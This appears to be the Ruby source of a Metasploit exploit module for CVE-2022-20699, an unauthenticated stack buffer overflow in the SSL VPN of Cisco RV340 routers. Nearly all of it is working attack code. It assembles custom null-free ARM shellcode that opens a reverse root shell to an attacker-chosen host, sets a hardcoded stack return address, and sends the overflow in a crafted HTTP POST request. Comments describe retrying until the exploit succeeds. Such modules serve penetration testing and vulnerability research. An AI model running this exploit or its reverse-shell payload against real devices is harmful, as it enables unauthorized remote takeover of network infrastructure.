287 lines
11 KiB
Ruby
287 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
|
|
functionality. The default SSL VPN configuration is exploitable, with no authentication
|
|
required and works over the Internet!
|
|
The stack is executable and no ASLR is in place, which makes exploitation easier.
|
|
Successful execution of this module results in a reverse root shell. A custom payload is
|
|
used as Metasploit does not have ARMLE null free shellcode.
|
|
This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
|
|
2022. For more information check the referenced advisory.
|
|
This module has been tested in firmware versions 1.0.03.15 and above and works with around
|
|
65% reliability. The service restarts automatically so you can keep trying until you pwn it.
|
|
Only the RV340 router was tested, but other RV series routers should work out of the box.
|
|
},
|
|
'Author' => [
|
|
'Pedro Ribeiro <pedrib@gmail.com>', # Vulnerability discovery and Metasploit module
|
|
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'References' => [
|
|
['CVE', '2022-20699'],
|
|
['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],
|
|
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],
|
|
['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],
|
|
['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],
|
|
],
|
|
'Arch' => ARCH_ARMLE,
|
|
# We actually use our own shellcode because Metasploit doesn't have ARM encoders!
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
|
|
'Targets' => [
|
|
[
|
|
'Cisco RV340 Firmware Version <= 1.0.03.24',
|
|
{
|
|
# Shellcode location on stack (rwx stack, seriously Cisco...)
|
|
# The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb)
|
|
#
|
|
# NOTE: this is the shellcode location about 65% of the time. The rest is at
|
|
# The remaining 35% will land at 0x704f6d98, causing this sploit will fail.
|
|
# There's no way to guess it, but the service will restart again, so let's stick
|
|
# with the most common stack address.
|
|
'Shellcode' => "\x99\xed\x4a\x70"
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => '2022-02-02',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SERVICE_RESTARTS],
|
|
# repeatable... but only works 65% of the time, see comments above
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8443),
|
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
# This should return a string like:
|
|
# "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
|
|
res = send_request_cgi({ 'uri' => '/login.html' })
|
|
if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server')
|
|
Exploit::CheckCode::Detected
|
|
else
|
|
Exploit::CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
def hex_to_bin(int)
|
|
hex = int.to_s(16)
|
|
if (hex.length == 1) || (hex.length == 3)
|
|
hex = '0' + hex
|
|
end
|
|
hex.scan(/../).map { |x| x.hex.chr }.join
|
|
end
|
|
|
|
def prep_shelly
|
|
# We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE.
|
|
# A null free shellcode is needed, as this memory corruption is done through `strcat()`
|
|
#
|
|
# SHELLCODE_START:
|
|
# // Original shellcode from Azeria Labs aka @Fox0x01's blog, specifically
|
|
# // https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/
|
|
# // Expanded and Improved by the Flashback Team
|
|
# .global _start
|
|
# _start:
|
|
# .THUMB
|
|
# // socket(2, 1, 0)
|
|
# mov r0, #2
|
|
# mov r1, #1
|
|
# sub r2, r2
|
|
# mov r7, #200
|
|
# add r7, #81 // r7 = 281 (socket)
|
|
# svc #1 // r0 = resultant sockfd
|
|
# mov r4, r0 // save sockfd in r4
|
|
#
|
|
# // connect(r0, &sockaddr, 16)
|
|
# adr r1, struct // pointer to address, port
|
|
# strb r2, [r1, #1] // write 0 for AF_INET
|
|
# mov r2, #16
|
|
# add r7, #2 // r7 = 283 (connect)
|
|
# svc #1
|
|
#
|
|
# // dup2(sockfd, 0)
|
|
# mov r7, #63 // r7 = 63 (dup2)
|
|
# mov r0, r4 // r4 is the saved sockfd
|
|
# sub r1, r1 // r1 = 0 (stdin)
|
|
# svc #1
|
|
# // dup2(sockfd, 1)
|
|
# mov r0, r4 // r4 is the saved sockfd
|
|
# mov r1, #1 // r1 = 1 (stdout)
|
|
# svc #1
|
|
# // dup2(sockfd, 2)
|
|
# mov r0, r4 // r4 is the saved sockfd
|
|
# mov r1, #2 // r1 = 2 (stderr)
|
|
# svc #1
|
|
#
|
|
# // execve("/bin/sh", 0, 0)
|
|
# adr r0, binsh
|
|
# sub r2, r2
|
|
# sub r1, r1
|
|
# strb r2, [r0, #7]
|
|
# push {r0, r2}
|
|
# mov r1, sp
|
|
# cpy r2, r1
|
|
# mov r7, #11 // r7 = 11 (execve)
|
|
# svc #1
|
|
#
|
|
# eor r7, r7, r7
|
|
#
|
|
# struct:
|
|
# .ascii "\x02\xff" // AF_INET 0xff will be NULLed
|
|
# .ascii "\x11\x5d" // port number 4445
|
|
# .byte 5,5,5,1 // IP Address
|
|
# binsh:
|
|
# .ascii "/bin/shX"
|
|
# SHELLCODE_END
|
|
#
|
|
# Since we need to be null free, we have a very specific corner case, for addresses:
|
|
# X.0.Y.Z
|
|
# X.Y.0.Z
|
|
# X.Y.Z.0
|
|
# X.0.0.Y
|
|
# X.Y.0.0
|
|
# X.0.Y.0
|
|
# X.0.0.0
|
|
# These will contain a null byte for the each zero in the address.
|
|
#
|
|
# To fix this we add additional instructions to the shellcode and replace the null byte(s).
|
|
# adr r1, struct // pointer to address, port
|
|
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
|
|
# adr r1, struct // pointer to address, port
|
|
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
|
|
# adr r1, struct // pointer to address, port
|
|
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
|
|
#
|
|
|
|
# The following is used to convert LHOST and LPORT for shellcode inclusion
|
|
lport_h = hex_to_bin(lport)
|
|
lhost_h = ''
|
|
jump = 0xc
|
|
datastore['LHOST'].split('.').each do |n|
|
|
octet = hex_to_bin(n.to_i)
|
|
if octet == "\x00"
|
|
# Why we do this? Check comments below my fren
|
|
jump += 1
|
|
end
|
|
lhost_h += octet
|
|
end
|
|
lhost_h = lhost_h.force_encoding('binary')
|
|
|
|
# As part of the shellcode, we need to do:
|
|
# adr r1, struct // pointer to address, port
|
|
# strb r2, [r1, #1] // write 0 for AF_INET
|
|
#
|
|
# In order to do the "adr", we need to know where "struct" is. On an unmodified
|
|
# shellcode, this is "\x0c\xa1\x4a\x70".
|
|
# But if we have one or more null bytes in the LHOST, we need to add more instructions.
|
|
# This means the "\x0c", the distance from $pc to "struct, is going to be either
|
|
# "\x0d, "\x0e" or "\x0f".
|
|
# Long story short, this distance is the jump variable, and we need to calculate it
|
|
# properly the more instructions we add.
|
|
#
|
|
# This is our jump, now calculated with the additional (or not) instructions:
|
|
ins = hex_to_bin(jump) + "\xa1\x4a\x70"
|
|
jump -= 1
|
|
|
|
# And now we calculate all the null bytes we have, replace them with \xff and add
|
|
# the proper jump:
|
|
for i in 1..3 do
|
|
next unless lhost_h[i] == "\x00"
|
|
|
|
ins_add = ''
|
|
lhost_h[i] = "\xff"
|
|
if i == 1
|
|
# strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet)
|
|
ins_add = "\x4a\x71"
|
|
elsif i == 2
|
|
# strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet)
|
|
ins_add = "\x8a\x71"
|
|
elsif i == 3
|
|
# strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet)
|
|
ins_add = "\xca\x71"
|
|
end
|
|
ins += hex_to_bin(jump) + "\xa1" + ins_add
|
|
jump -= 1
|
|
end
|
|
ins = ins.force_encoding('binary')
|
|
|
|
shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins +
|
|
"\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \
|
|
"\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \
|
|
"\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +
|
|
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
|
|
shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']
|
|
shelly
|
|
end
|
|
|
|
def sock_get(app_host, app_port)
|
|
begin
|
|
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
|
sock = Rex::Socket.create_tcp(
|
|
{ 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
|
|
)
|
|
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
|
|
sock.close if sock
|
|
end
|
|
if sock.nil?
|
|
fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
|
|
end
|
|
|
|
# also need to add support for old ciphers
|
|
ctx = OpenSSL::SSL::SSLContext.new
|
|
ctx.min_version = OpenSSL::SSL::SSL3_VERSION
|
|
ctx.security_level = 0
|
|
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
|
|
s.sync_close = true
|
|
s.connect
|
|
return s
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{peer} - Pwning #{target.name}")
|
|
payload = prep_shelly
|
|
begin
|
|
sock = sock_get(rhost, rport)
|
|
# With the base request, our shellcode will be about 0x12a from $sp when we take control.
|
|
#
|
|
# But we noticed that by adding more filler in the request we can have better reliability.
|
|
# So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and
|
|
# can be increased / decreased, but we find 0x86 works well.
|
|
# (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86)
|
|
#
|
|
# It would be good to add some valid headers with semi random data for proper evasion :D
|
|
http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"
|
|
|
|
sock.write(http)
|
|
sock.write(payload)
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
|
|
end
|
|
end
|
|
end
|